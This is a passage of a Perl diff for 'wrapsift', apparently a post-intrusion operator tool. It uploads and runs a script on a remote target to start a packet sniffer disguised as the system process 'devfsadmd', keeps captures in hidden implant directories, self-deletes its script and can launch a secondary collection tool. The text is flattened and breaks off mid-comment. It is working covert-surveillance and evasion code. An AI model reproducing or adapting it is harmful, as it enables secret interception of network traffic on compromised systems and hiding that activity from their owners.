foreach(@failedinstances) { + next if /exists, renaming to/; + s,.* -\. /,/,; + s,/current/+[^/]+/\.\./+([^/]+),/current/$1,; + next unless length; + $more .= "${COLOR_NORMAL}:::::::::::::::\n"; + $more .= "$_\n"; + $more .= ":::::::::::::::$COLOR_NOTE\n"; + if (open(WRAPIN,$_)) { + while () { + $more .= $_; + } + close(WRAPIN); + } else { + $more .= "COULD NOT FIND CONTENT:$failedinstances\n\n"; + } + } + $more = "CONTENT OF FILES JUST DOWNLOADED:\n".$more + if $more; + + mydie($COLOR_FAILURE.".\n". + "URGENT: A previous instance of the script has died and its error\n". + " file was just downloaded (and popped up). You need to\n". + " deal with it (report it). You also need to delete the file(s):\n\n". + " rm $rmverbose $sift_currentdir/.D*\n\n". + $more + ); +} + +my ($siftdebugoutput) = + doit("-tail -$taillines $sift_debugdir/.dbg"); + +if ($checkdebugonly) { + mydie(#$siftdebugoutput. + $COLOR_NOTE."\n". + "=====================================================\n". + "The $prog debug directory $sift_debugdir\n". + "already exists and the last $taillines lines of content\n". + "there in .dbg are shown above.\n". + "=====================================================\n". + "") if $siftdebugoutput; + ($siftdebugoutput) = + doit("-ls -d $sift_debugdir"); + mydie(".\n\n\n". + "The debug directory is there, but there is no content") + if $siftdebugoutput; + offerabort + ("$COLOR_FAILURE\n\n". + "The debug directory does not exist. If you ontinue here, $prog will\n". + "create it, then any running instance(s) of the script will begin logging to\n". + "the file \".dbg\" there. New output will come only once the next loop of the\n". + "script executes, i.e., either when sift is killed or turns over naturally at\n". + "its time or size limit.\n\n". + "If you bort, the directory will not be made." + ); + checkmkdir($sift_debugdir); + mydie(".\n\n\n\n". + "Try the -T option later to see any new debug content.\n\n". + "BUT DO NOT LEAVE THAT DIRECTORY THERE, DELETE IT BEFORE YOU LOG OFF!!". + "\n\n\n\n"); +} +if ($siftdebugoutput) { + offerabort(#$siftdebugoutput. + $COLOR_NOTE. + ('='x78)."\n". + "The $prog debug directory $sift_debugdir\n". + "already exists and the last $taillines lines of content there in .dbg are shown above.\n". + "This install is not in that file yet, it will proceed when you ontinue.\n". + ('='x78)."\n". + ""); +} + +if ($sift_buildconfig) { + doconfigonly() ; +} + +# Else: ASSERT: We are offering to upload/execute script/sift both + +my $width = 100; +my $height = 74; + +($output) = doit("-ls $sift_currentdir/.$sift_outfile"); +if ($output) { + my ($result,$resultwas) = (lookforsift("quiet")); + unless($result =~ /No entries in/) { + mydie + ($COLOR_FAILURE."\n\n". + "$result\n\n". + "It appears an instance of $prog with the same -o filename prefix is\n". + "already in use. You cannot continue here using the same prefix. You\n". + "can either: 1) clean up after the old/dead one and try again;\n". + " 2) use the -B option to build a fresh config for the\n". + " instance that is still runing with that prefix; or\n". + " 3) kill the instance running with that prefix, rename or\n". + " or download/delete the growing capture file shown\n". + " above and try again." + ); + } +} + +($output) = doit("-ls $sift_bindir/$sift_runscriptas"); +if ($output) { + unless ($sift_unlink) { + offerabort("If you continue, the copy of $sift_runscriptas already there will be deleted\n". + "and replaced with one containing the configuration you just asked for."); + my $dotfile = dotdotpathforfile("$sift_bindir/$sift_runscriptas"); + doit("-rm $dotfile"); + } else { + mydie("Unable to continue with wrapsift as executed,\n". + "$sift_runscriptas already exists"); + } +} + +$killstring = dolocalecho + ($sift_scriptconfig. + $sift_scriptcontent. + $COLOR_FAILURE."\n". + "# ".gmtime()."\n#\n". + "About to upload/execute above script from:\n". + " $opup/wrapsift.sh.LATEST\n". + "as\n". + " $sift_bindir/$sift_runscriptas\n\n". + "Which will start sift as $sift_runas every $sift_runfor seconds, putting\n". + "output files in $sift_donedir.\n$COLOR_NORMAL\n". + "", + "popup -geometry ${width}x$height-0+0 -title \"$prog instance $sift_outfile ($sift_filter):_$nopen_rhostname\"" + ); +doit("-lsh cat $opup/wrapsift.sh.LATEST", + "-lsh diff $opup/wrapsift.sh $opup/wrapsift.sh.LATEST", + ); +my $more = "$COLOR_FAILURE\n(Will be LEFT THERE, as you requested...)$COLOR_NORMAL" + unless ($sift_unlink); +offerabort("About to upload above script (content also just popped up)$more from:\n". + " $opup/wrapsift.sh.LATEST\n". + "as\n". + " $sift_bindir/$sift_runscriptas". + ""); + +doit("-put $opup/wrapsift.sh.LATEST $sift_bindir/$sift_runscriptas"); +preservefile("$opup/$sift_runscriptas"); +copy("$opup/wrapsift.sh.LATEST","$opup/$sift_runscriptas"); +my ($output,$nopenlines,@output,$moreproblem) = (); +if ($targetshell =~ /bash/) { + ($output,$nopenlines,@output) = doit("-cd $sift_bindir","bash ./$sift_runscriptas &"); +} else { + ($output,$nopenlines,@output) = doit("-cd $sift_bindir","./$sift_runscriptas &"); +} + +if ($output =~ /TEST RUN returned 0 /) { + newhostvar("host_donotburn{$nopen_rhostname}","$prog $output"); + newhostvar("host_wrapsiftcommand{$sift_intf $sift_filter}",$host_wrapsiftcommand{"$sift_intf $sift_filter"}."-gs wrapsift $origargs\n"); + my ($content,$warning) = logtool + ( + "WRAPSIFT", + "$VER", + "SUCCESSFUL", + "DEPLOYED", + "binary: $sift_binary cmd: -gs wrapsift $origargs", + undef, + "$opup/$sift_runscriptas", + ); + +} else { + my ($content,$warning) = logtool + ( + "WRAPSIFT", + "$VER", + "FAILED", + "DEPLOYED", + "binary: $sift_binary ; kill: $sift_kill ; cmd: -gs wrapsift $origargs", + undef, + "$opup/$sift_runscriptas", + ); + $moreproblem = "\n$COLOR_FAILURE\nThe TEST RUN of the above wrapsift execution FAILED."; + if ($output =~ /FATAL: (\d+)/) { + my $errno = $1; + mydie("Cannot open $opup/wrapsift.sh") + unless open(SIFTIN,"$opup/wrapsift.sh"); + while(my $line = ) { + dbg("HERE:$line"); + + next unless ($line =~ /die\s+$errno\s+/); + $line =~ s,.*die\s+$errno\s+,,; + $moreproblem =~ s/\.$/, ERR=$errno: $line/; + last; + } + close(SIFTIN); + } +} +unlink("$opup/$sift_runscriptas"); + + +($output,$nopenlines,@output) = doit("-ls $sift_bindir/$sift_runscriptas"); + +if ($output and $sift_unlink) { + $moreproblem = "ALSO:\n\n".$moreproblem if $moreproblem; + mydie("The shell script is still there, something went wrong.$moreproblem"); +} elsif ($moreproblem) { + mydie($moreproblem); +} +if ($output) { + mygetinput("$COLOR_FAILURE\n". + "FYI: It looks like you told the script NOT to self-delete, and\n". + "yes, it's still there:\n\n". + $output."\n$COLOR_NORMAL\n". + "Hit Enter to continue..."); +} +$justdeployed++; +my ($result,$resultwas) = (lookforsift()); +unless ($result =~ /kill -9 (\d+) (\d+)/) { + $resultwas = $result; + $result = ""; +} +if ($result) { + progprint($result. + "$COLOR_NORMAL\n\n\n". + "The script uploaded, ran, self deleted (if told to) and the TEST RUN exited with\n". + "no error, so it seems it all ran properly.\n\n". + "The kill line above (followed by cleanup of the ./s directory) is how we will\n". + "need to remove this instance later (unless the box reboots or the script exits\n". + "at some later date with an error, so be sure those pids are still us).\n\n". + "-gs wrapsift logged as follows via logtool():\n". + " binary: $sift_binary ; kill: $sift_kill ; cmd: -gs wrapsift $origargs" + ); +} else { + my $more = ""; + $more = "lookforsift() RESULT (did not include kill line) WAS\n". + "$resultwas\n\n" if $resultwas; + progprint($more. + "$COLOR_FAILURE\n". + "There may be a problem, the check of the =ps output above could not find the\n". + "SIFT and shell script PIDs, and yet the TEST RUN exited with no error, and the\n". + "script uploaded and self deleted. Get help if you need it.\n\n" + ); +} + + +#if ($siftdebugoutput) { +# ($siftdebugoutput) = +# doit("-tail -20 $sift_debugdir/.dbg"); +#} +# Called via do so must end with 1; +1; + +sub lookforsift { + my ($output,@killpids) = doconfigonly(1); + my $count = @killpids/2; # There are two pids per + return $output if ($_[0] =~ /quiet/); + if (@killpids) { + my $more = "\n\n". + "To remove those instances entirely (don't forget to remove their\n". + "dotfiles, if any, in $sift_currentdir):\n\n". + " kill -9 @killpids"; + $more = "\n\n". + "To remove that instance entirely (don't forget to remove its\n". + "dotfile, if any, in $sift_currentdir):\n\n". + " kill -9 @killpids" + if $count < 2; + $sift_kill = "kill -9 @killpids"; + $output .= $more; + } +dbg("killpids=(@killpids)"); + mydie($output) unless ($checkdebugonly or $justdeployed); + offerabort("$output\n\n". + "Hit Enter to continue with -T/debug log tail" + ) if ($checkdebugonly); + return $output; +} + +sub doconfigonly { + local($recononly) = (@_); + my $scriptmatch = $sift_runscriptas; + # If this is a -l with no -X option, we just look for .sh, + # any -o str will do in front of it. + $scriptmatch = "\\\.sh" unless $opt_X_saved; + my ($psoutput,$nopenlines,@psoutput); + unless ($freebsdtarget) { + ($psoutput,$nopenlines,@psoutput) = doit("=ps"); + ($pscmd) = $nopenlines =~ /\[(ps.*)\]/; +#offerabort("HERE0(@_) with pscmd=$pscmd= and +#nopenlines=$nopenlines= +# +#"); + } else { + ($psoutput,$nopenlines,@psoutput) = doit("ps aluxww"); + $pscmd = "ps aluxww"; + } + return $pscmd if $recononly > 1; + my @sleeps = (); + my (@toolpids,%toollines,@toolppids,%toolplines) = (); + my (@shshpids,%shshlines,@shshppids,%shshplines) = (); + my (@sleeppids,%sleeplines,@sleepppids,%sleeppplines) = (); + my (@oursleeppids,%oursleeplines,,@oursleepppids,%oursleepppids) = (); + my (@ourpids) = (); + # Eliminate all $sift_runas guys whose parent is 1 (that is, this will not be us) +dbg("Prior psoutput had ".scalar @psoutput." lines"); +dbg("we took out all these:\n".join("\n",grep /\s1\s.*\s$sift_runas/, @psoutput)); + # Remove $sift_runas if its parent is 1 and owner is root + @psoutput = grep ! /root\s+\d+\s+1\s.*\s$sift_runas/, @psoutput; +dbg("after psoutput has ".scalar @psoutput." lines"); + + # We start with the beginning, the parent must look like this. + findpidsfor("sh .*$scriptmatch\$", + #\@shshpids, + \%shshlines, + #\@shshppids, + \%shshplines, + "", + @psoutput); + @shshpids = keys %shshlines; + @shshppids = keys %shshplines; + my @shshlines = values %shshlines; + my @shshplines = values %shshplines; + + # Limit looking for $sift_runas or sleep to only those children of + # above sh .*sh match. Neat! + foreach my $pid (@shshpids) { +dbg("Looking for: + findpidsfor(\"\\\\\\d\\\\\\s+$pid\\\\\\s.*\\\\\\s$sift_runas\", +"); + findpidsfor("\\\d\\\s+$pid\\\s.*\\\s$sift_runas", + #\@toolpids, + \%toollines, + #\@toolppids, + \%toolplines, + "", + @psoutput); + findpidsfor("\\\d\\\s+$pid\\\s.*sleep\\\s", + #\@sleeppids, + \%sleeplines, + #\@sleepppids, + \%sleepplines, + "", + @psoutput); + } + @toolpids = keys %toollines; + @toolppids = keys %toolplines; + my @toollines = values %toollines; + my @toolplines = values %toolplines; +# dbg("Outside of findpidsfor with +#pids =(@sleeppids) +#pidlines =(".join("\n ",@sleeplines).") +#parentpids =(@sleepplines) +#parentplines=(".join("\n ",@sleepplines).") + + +#"); + @sleeppids = keys %sleeplines; + @sleepppids = keys %sleepplines; + my @sleeplines = values %sleeplines; + my @sleepplines = values %sleepplines; + +# dbg("Outside of findpidsfor with +#pids =(@sleeppids) +#pidlines =(".join("\n ",@sleeplines).") +#parentpids =(@sleepppids) +#parentplines=(".join("\n ",@sleepplines).") + + +#"); + + my $processmore = ""; + + if (scalar (@sleeplines) > 0) { + findpidsfor("sleep $sift_sleepfor", + #\@oursleeppids, + \%oursleeplines, + #\@oursleepppids, + \%oursleepplines, + "", + @sleeplines); + @oursleeppids = keys %oursleeplines; + @oursleepppids = keys %oursleepplines; + my @oursleeplines = values %oursleeplines; + my @oursleepplines = values %oursleepplines; + my $allours = 0; +# foreach (@sleeplines) { +# push(@oursleep + if ("@oursleeplines" eq "@sleeplines") { +dbg("here0"); + push(@ourpids,@sleeppids,@sleepppids); + my ($isa,$es,$es2,$warnmore) = ("is a","","es"); + if (@oursleeplines > 1) { + ($isa,$es,$es2) = ("are","es",""); + $warnmore = "\nBE CAREFUL. Only one of these can be ours.\n\n"; + } + $processmore .= "$COLOR_FAILURE\n\n". + join("\n",sort uniqify_array(@oursleeplines,@oursleepplines)). + "\n\n". + "There $isa sleep process$es that match$es2 the same delay you are asking for\n". + "with this new config.\n\n$warnmore". + "If you can confirm that is ours (the parent should be our shell script),\n". + "then killing that sleep will put your new config in place immediately.\n\n". + " kill ".join("\n kill ",@oursleeppids)."\n\n". + ""; + } else { + dbg("here1 oursleeplines=(@oursleeplines) sleeplines=(@sleeplines)"); + my $warnmore; + my ($isa,$es,$es2,$DOESNOT,$this) = ("is a","","","DOES NOT","this"); + if (@sleeplines > 1) { + ($isa,$es,$es2,$DOESNOT,$this) = ("are","es","","DO NOT","one of these"); + $warnmore = "\nBE CAREFUL. Only one of these can be ours.\n\n"; + } + + $processmore .= "$COLOR_FAILURE\n\n". + join("\n",sort uniqify_array(@sleeplines,@sleepplines)). + "\n\n". + "There $isa sleep process$es that $DOESNOT match$es2 the same delay you are\n". + "asking for with this new config.\n\n$warnmore". + "If you can confirm that $this is ours (the parent should be our shell script),\n". + "then killing that sleep will put your new config in place immediately.\n\n". + " kill ".join("\n kill ",@sleeppids)."\n\n". + ""; + + } + } else { + my ($s,$isa,$es,$es2,$DOESNOT,$this) = ("","is a","","","DOES NOT","this"); + if (uniqify_array(@toollines,@toolplines) > 1) { + ($isa,$es,$es2,$DOESNOT,$this) = ("s","are","es","","DO NOT","one of these"); + } + $processmore .= "\n\n". + join("\n",sort uniqify_array(@toollines,@toolplines)). + "\n\n". + "The line$s above match$es2 or are the parent of a process matching \"$sift_runas\"\n". + "If you can confirm that $this is ours (the parent should be our shell script),\n". + "then killing that $sift_runas process will put your new config in place\n". + "immediately.\n\n". + " kill ".join("\n kill ",@toolpids)."\n\n". + ""; + } +dbg(" + + +sleeplines =(@sleeplines) +sleepplines =(@sleepplines) +toollines =(@toollines) +toolplines =(@toolplines) +ourpids =(@ourpids) +sleeppids =(@sleeppids) +sleepppids =(@sleepppids) + +"); + my $result = ""; + my (%linedone,@result) = (); + +# sort (uniqify_array(@sleeplines,@sleepplines,@toollines,@toolplines)); + foreach my $line (@sleeplines,@sleepplines,@toollines,@toolplines) { + # At least one of these has a single element of multiple lines, so we split here + foreach my $line3 (split(/\n+/,$line)) { + next if $linedone{$line3}++; + push(@result,$line3); + } + } + $result = $COLOR_FAILURE."\n". + join("\n",sort @result)."\n\n". + $COLOR_NORMAL if @result; + my $something = length $result; +dbg("something=$something= +came from result=$result="); + if ($result) { + $result .= + "Above =ps entries in red match \"sleep $sift_sleepfor\" or \"$sift_runas\"\n". + "AND have a parent matching \"sh .*$scriptmatch\"."; + } else { + $result .= $COLOR_FAILURE."No entries in =ps match \"sleep $sift_sleepfor\" or \"$sift_runas\"\n". + "that also have a parent matching \"sh .*$scriptmatch\"."; + $result .= "\n\n". + "The line(s) shown here is(are) probably NOT $prog lines." + if $something; + } + return ($result,uniqify_array(@toolpids,@toolppids,@ourpids)) if $recononly; + + offerabort + ($result. + " If this\n". + "configuration change entails CHANGING the tool name, you may not see any lines\n". + "matching \"$sift_runas\".\n\n". + "About to upload the following config entries as\n". + "$sift_currentdir/$sift_config:\n\n". + $sift_scriptconfig); + + ($psoutput,$nopenlines,@psoutput) = doit("-ls $sift_currentdir/$sift_config"); + if ($psoutput) { + doit("-cat $sift_currentdir/$sift_config"); + offerabort + ("The file seems to be there already (see its content above). If you\n". + "continue, $prog will delete it first (you will have to answer YES),\n". + "and your configs (shown just above the -cat above) will go into place."); + doit("-rm $sift_currentdir/$sift_config"); + } + doit("-put $opup/wrapsift.sh.LATEST.config $sift_currentdir/$sift_config"); + mydie("Upload Done.\n\n". + "The file will get read by the remote script on its next loop or\n". + "you can kill the remote sift running and it will do so now.\n\n". + $COLOR_FAILURE. + "NOTE: Be sure to kill the right thing.\n\n". + $processmore. + "NOTE: Be sure to kill the right thing.\n\n". + "" + ); + exit; +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0 unless $calledviarequire; + if ($willautoport and $socket) { + $calledviarequire = 1; + } else { + $prog = "-gs wrapsift"; + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $vertext = "$prog version $VER\n" ; + } + clearallopts(); + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + + ########################################################################### + # PROCESS ARGUMENTS + ########################################################################### + + + ## DEFAULTS + $def_E = "/bin/bash"; + $def_M = 10; +# $def_P = 75; + $def_I = 7200; + $defIstr = $def_I / 60 / 60 ; + if ($defIstr > 1) { + $defIstr .= "h"; + } else { + $defIstr = $def_I / 60 ; + $defIstr .= "m"; + } + + $def_Q = 0; + $defQstr = $def_Q / 60 / 60 ; + if ($defQstr > 1) { + $defQstr .= "h"; + } else { + $defQstr = $def_Q / 60 ; + $defQstr .= "m"; + } + $def_p = $def_I/4 - $def_I/4 % 60 ; + $def_r = "devfsadmd"; + $def_R = ""; + $defpstr = $def_p / 60 . "m"; + $def_b = "/tmp"; + $def_f = 600; +# $def_o = "o"; + + setusagetexts(); + my $origoptions = "@ARGV"; + mydie("bad option(s)") if (! Getopts( "hvF:i:uM:P:d:s:S:D:Br:I:Tb:X:o:p:NLlmf:E:AC:j:ZwWQ:c:R:G:z:" ) ); + $sift_snaplen = -1; + $sift_snaplen = int($opt_z) if (defined $opt_z); + if (defined $opt_z) { + mydie("Invalid syntax: -z $opt_z") unless + ($opt_z == $sift_snaplen and + $sift_snaplen > 0); + } + $debug = $opt_Z; + $opt_X_saved=$opt_X; + $sift_wipeonmax = $opt_w ? "1" : "0"; + $sift_wipeunder = $opt_G ? int($opt_G) : "0"; + $sift_retryondie = $opt_W ? "0" : "1"; + usage() if ($opt_h or $opt_v) ; + $socket = pilotstart(quiet); + + mydie("\"-G $opt_G\" must be a positive integer") + if (defined $opt_G and ($opt_G <= 0 or $opt_G != $sift_wipeunder)); + $sift_compress = $opt_C ? $opt_C : ""; + $usebcmath = $opt_A; + $targetshell = defined $opt_E ? $opt_E : $def_E; + mydie("-E $opt_E must be a full path") + unless ($targetshell =~ m,^/.*/.+,); + undef $opt_E if ($targetshell eq $def_E); +# usage() if ($opt_h or $opt_v) ; +# $socket = pilotstart(quiet); + $maxfiles = defined $opt_f ? $opt_f : $def_f; + mydie("-f $opt_f option must be a positive integer") + unless ($maxfiles =~ /^\d+$/ and $maxfiles > 0); + + $avoiddf = $opt_m; + + if ($pcapfile = $opt_j) { + mydie("-j $pcapfile must be a non-empty local ascii file") + unless (-s $pcapfile); + my $test = `dos2unix $pcapfile 2>&1 ; file $pcapfile 2>&1`; + progprint("Running dos2unix $pcapfile ; file $pcapfile:\n\n". + $test); + mydie("-j $pcapfile must be an ASCII file") + unless ($test =~ /ascii/i); + $sift_filter = readfile($pcapfile); + chomp($sift_filter); + $sift_filter =~ s,[\n\r], ,g; + } else { + $sift_filter = "@ARGV"; + } + + + + $sift_intf = $opt_i; + $checkdebugonly = $opt_T; + + mydie("PCAP_FILTER or -j PCAP_FILE and -i are required arguments unless -T or -l is used") + unless ($checkdebugonly or + $opt_l or + ($sift_filter and $sift_intf)); + + $sift_unlink = defined $opt_u ? 0 : 1; # Do unlink is the default + + + ($def_d,@more_d) = @host_hiddendirs; + + $def_b = $def_d unless $sift_unlink; + $sift_maxmeg = defined $opt_M ? $opt_M : $def_M; + $sift_maxpct = defined $opt_P ? $opt_P : $def_P; + $sift_outfile = defined $opt_o ? $opt_o : $def_o; + $sift_bindir = defined $opt_b ? $opt_b : $def_b; + + $sift_watchfor= defined $opt_R ? $opt_R : $def_R; + $sift_runas = defined $opt_r ? $opt_r : $def_r; + $sift_runfor = defined $opt_I ? $opt_I : $def_I; # max runtime of sift + $sift_delayfor = defined $opt_Q ? $opt_Q : $def_Q; # Idle between sifts + $sift_sleepfor = defined $opt_p ? $opt_p : $def_p; # Idle if filesys full + $sift_buildconfig = $opt_B; # Default is full script + + $sift_runfor = strtoseconds($sift_runfor); + $sift_sleepfor = strtoseconds($sift_sleepfor); + $sift_delayfor = strtoseconds($sift_delayfor); + + $sift_moreargs = ""; + $sift_moreargs .= defined $opt_N ? " -N" : ""; + $sift_moreargs .= defined $opt_L ? " -P" : ""; + $sift_moreargs .= " -S $sift_snaplen" if ($sift_snaplen > 0); + $lookforsift = $opt_l; + + $pscmd = "ps -ef"; + + ## ERROR CHECKING OF OPTS + + + if ($sift_moreargs =~ /P/) { + my $more = "\n You should most likely abort here." + if $linuxtarget; + offerabort + ($COLOR_FAILURE. + "WARNING: Using promiscous mode with sift may log, especially on Linux.". + $more. + ""); + } + + # -o Required, drives other defaults + mydie("-o STR argument is required.\n". + "Each instance of wrapsift deployed requires a unique STR.") + unless ($sift_outfile or $lookforsift); + $def_o = $sift_outfile; + $def_X = "$def_o.sh"; + + $sift_runscriptas = defined $opt_X ? $opt_X : $def_X; + $sift_config = "$sift_outfile.c"; + mydie("Invalid -c \"$opt_c\", -c must be used only once and cannot contain whitespace") + if ($opt_c =~ /\s/); + + if ($opt_c and $opt_c >= $sift_maxmeg) { + offerabort($COLOR_FAILURE."\n\nREAD CAREFULLY BEFORE CONTINUING!!\a\n$COLOR_NORMAL\n". + "You are using -c value ($opt_c) >= -M value ($sift_maxmeg). With these settings, each\n". + "collect file may grow to ${sift_maxmeg}M in size but$COLOR_FAILURE WILL NOT$COLOR_NORMAL ". + "(repeat,$COLOR_FAILURE WILL NOT$COLOR_NORMAL) be split\n". + "into smaller pieces. Use these settings with caution and only when such large\n". + "files will not cause an issue when collected later, either manually or via\n". + "some automated means.". + "") + if ($sift_maxmeg >= 40); + # Undefine opt_c if the split value is bigger than the collect to begin with. + undef $opt_c; + } else { + mydie("-M $sift_maxmeg is quite large, you must use -c ##\n(and use -c ## >= $sift_maxmeg to disable splitting on large files if desired)") + unless($opt_c or $sift_maxmeg < 40); + } + $sift_chopsize = int($opt_c * 1024 * 1024); # option provided in MB, now in bytes + mydie("Invalid \"-c $opt_c\", must be a positive integer (number of megabytes)") + if (defined $opt_c and ($sift_chopsize < 1 or int($opt_c) != $opt_c or $opt_c !~ /^\d+$/)); + + # Non dir related errors + mydie("-I $opt_I argument is not valid") + unless $sift_runfor > 0; + mydie("-I $opt_I argument must be at least a minute") + unless $sift_runfor > 59; + + mydie("-Q $opt_Q argument is not valid") + unless $sift_delayfor >= 0; + + mydie("-p $opt_p argument is not valid") + unless $sift_sleepfor > 0; + mydie("-p $opt_p argument must be at least a minute") + unless ($lookforsift or $sift_sleepfor > 59); + + mydie("-M $sift_maxmeg must be a positive integer") + unless ($sift_maxmeg =~ /^\d+$/ and $sift_maxmeg > 0); + + + mydie("-P MAXPCT is required--must be a positive integer at most 93") + unless ($lookforsift or $sift_maxpct > 0); + + mydie("-P $sift_maxpct must be a positive integer at most 93") + unless ($lookforsift or ($sift_maxpct =~ /^\d+$/ and + $sift_maxpct > 0 and + $sift_maxpct <= 93)); + + + # Dir related options/errors last + # Note: We ignore multiple hidden dirs if they are there. + # + ($def_d,@more_d) = @host_hiddendirs; + + mydie("$prog requires a STOIC or INCISION hidden directory, this target has none") + unless $def_d; + + $def_s = "$def_d/s"; + $def_S = "$def_s/s"; + $sift_donedir = defined $opt_S ? $opt_S : $def_S; + + my ($shelloutput) = doit("-ls -d $targetshell"); + unless ($shelloutput =~ m,^-r.x.* $targetshell,) { + unless ($targetshell eq "/bin/sh") { + $targetshell = "/bin/sh"; + ($shelloutput) = doit("-ls -d $targetshell"); + } + } + mydie("Target shell $targetshell must be an executable file") + unless ($shelloutput =~ m,^-r.x.* $targetshell,); + + unless ($opt_d or $lookforsift) { + + # We bring this to their attention. + if (@host_hiddendirs > 1) { + my $colldirs = join("/$sift_donedir",@host_hiddendirs)."/$sift_donedir"; + my ($wrapoutput,$n,@wrapoutput) = doit("-ls -d $colldirs"); +mydie("$wrapoutput,$n,@wrapoutput"); + unless ($avoiddf) { + my @humanread = ("=df -h @host_hiddendirs");### if ($linuxtarget); + ($wrapoutput,$n,@wrapoutput) = doit("=df @host_hiddendirs",@humanread); + @wrapoutput = uniqify_array(@wrapoutput); + $wrapoutput = join("\n",@wrapoutput); + } + my ($ans,$longans); + while (1) { + ($ans,$longans) = mygetinput + ($wrapoutput ."\n\n". + "There are multiple hidden directory candidates (or ABORT):\n ". + join("\n ",@host_hiddendirs)."\n\n". + "Which do you want?",$def_d); + mydie("Aborted by user") if ($ans eq "a"); + $longans =~ s,^\s*,,g; + next unless $host_hiddendirs{$longans}; + last; + } + $def_d = $longans; + $def_s = "$def_d/s"; + $def_S = "$def_s/s"; + } + } + + $def_D = "$def_d/d"; + $sift_debugdir = defined $opt_D ? $opt_D : $def_D; +# $sift_bindir = defined $opt_b ? $opt_b : $def_b; + $sift_deploydir = defined $opt_d ? $opt_d : $def_d; + $sift_deploydirexists = 0; + $sift_currentdir = defined $opt_s ? $opt_s : $def_s; + $sift_diedir = "$sift_deploydir/D.$sift_outfile"; + + + # Dir related errors + mydie("-b $sift_bindir (default=$def_b) must be a full path") + unless ($sift_bindir =~ m,^/,); + + mydie("-d $sift_deploydir must be a full path") + unless ($sift_deploydir =~ m,^/.+/,); + + mydie("-d $sift_donedir must be a full path (donedir)") + unless ($sift_donedir =~ m,^/.+/,); + + mydie("-d $sift_currentdir must be a full path (currentdir)") + unless ($sift_currentdir =~ m,^/.+/,); + + mydie("-D $sift_debugdir must be a full path") + unless ($sift_debugdir =~ m,^/.+/,); + + $rmverbose = $linuxtarget ? "-v" : ""; + $pscmd = doconfigonly(2); + + my $previously = ""; + + my @checkbins = ( + "grep", + "rm", + "date", + "rmdir", + "mkdir", + # "cd", + "sed", + "tr", + "sleep", + "echo", + "mv", ); + push (@checkbins,$sift_compress) if ($sift_compress); + + unless($host_wrapsiftbinsconfirmed) { + foreach my $remotecmd (@checkbins) { + my ($shelloutput) = nopenlss("-PQ",$remotecmd); + mydie("Cannot continue, required remote command ($remotecmd) not available.") + unless ($shelloutput =~ m,^-r.x.*/$remotecmd,); + } + newhostvar(host_wrapsiftbinsconfirmed," (at ".gmtime().")"); + } else { + $previously = " previously"; + } + + progprint("$COLOR_FAILURE\n\n$prog has$previously confirmed$host_wrapsiftbinsconfirmed\n". + "that these required remote executables are in our PATH:\n$COLOR_NORMAL\n". + " ".join("\n ",@checkbins)); + if ($sift_watchfor) { + mydie("-R $opt_R strings cannot contain whitespace--you may use a dot instead\n". + "and the greps will match a space.") + if ($sift_watchfor =~ /\s/); + $sift_watchfor =~ s,^[\.\/]+,,g; + ($sift_watchfor,$sift_watchforchildren) = + $sift_watchfor =~ /([^,]+)(.*)/; + if ($sift_watchforchildren) { + $sift_watchforchildren =~ s/^,+//; + $sift_watchforchildren =~ s/,/ /g; + } + my ($alreadythere) = doit("=ps | grep -v grep | grep \"$sift_watchfor\""); + if ($alreadythere) { + offerabort($COLOR_FAILURE."\n\n". + "==\n$alreadythere==\n". + " WARNING WARNING WARNING WARNING $COLOR_NORMAL\n\n". + "A process called $sift_watchfor is already running. If that is the one\n". + "wrapsift is supposed to be looking for, that's fine. If it is not, then\n". + "a new name not already visible on the target has to be chosen (and so you\n". + "must also rename ./$sift_watchfor).","ABORT"); + } + ($alreadythere) = doit("-ls $sift_deploydir/$sift_watchfor"); + my ($VER,$TOOLNAME,$moreprompt) = (); + if ($alreadythere) { + doit("-lcd $opup", + "-get -l $sift_deploydir/$sift_watchfor", + "-lcd $opdown"); + } else { + offerabort($COLOR_FAILURE."\n\n". + " WARNING WARNING WARNING WARNING $COLOR_NORMAL\n\n". + "With the -R option, wrapsift is responsible for starting ./$sift_watchfor\n". + "if it exists--but it does not. That is fine, it simply disables this\n". + " but$COLOR_FAILURE BE AWARE${COLOR_NORMAL}: The script WILL START anything called\n". + "$sift_deploydir/$sift_watchfor if it appears later.\n\n"); + if (-f "$opup/$sift_watchfor") { + my ($ans) = mygetinput(`/bin/ls -al $opup/$sift_watchfor`."\n\n". + "Is this the correct file to log the secondary tool WRAPSIFT\n". + "is deploying?","Y"); + if ($ans eq "n") { + rename("$opup/$sift_watchfor","$opup/$sift_watchfor.OLD"); + progprint(".\n\n\nOK, you will have to put that in place, we've moved that aside:\n\n". + `/bin/ls -al $opup/$sift_watchfor`); + sleep 3; + } + } + while (! -f "$opup/$sift_watchfor") { + offerabort($COLOR_FAILURE."\n\n". + "Until $opup/$sift_watchfor exists, we cannot proceed.\n$COLOR_NORMAL\n". + "Please put it in place"); + } + } + if (`grep -l CAPFILEPREFIX= $opup/$sift_watchfor`) { + $TOOLNAME = "COTTONSCYTHE"; + } + my (@TOOLCONTENT) = readfile("ARRAY","$opup/$sift_watchfor"); + my (@DATESTR) = grep /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+).*\d+:\d\d:\d+.*\s\d\d\d\d/,@TOOLCONTENT; + if (@DATESTR == 1) { + $DATESTR[0] =~ /(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+).*\d+:\d\d:\d+.*\s(\d\d\d\d)/i; + $VER= sprintf "%4d.%02d.%02d" , $3 , 1+$nummon{ucfirst $1} , $2 ; + } + $moreprompt = " (it appears to be $TOOLNAME)" + if $TOOLNAME; + (undef,$TOOLNAME) = mygetinput("What is the tool name being started by \n". + "WRAPSIFT as $sift_watchfor$moreprompt?",$TOOLNAME); + (undef,$VER) = mygetinput("Is this the right version string?",$VER) if $VER; + my ($content,$warning) = logtool + ( + "$TOOLNAME", + "$VER", + "SUCCESSFUL", + "DEPLOYED", + "by WRAPSIFT ($sift_runas), running as $sift-watchfor, via -gs wrapsift $origargs", + undef, + "$opup/$sift_watchfor", + ); + } +} #myinit + +sub buildwrapsift { + # This script will modify the 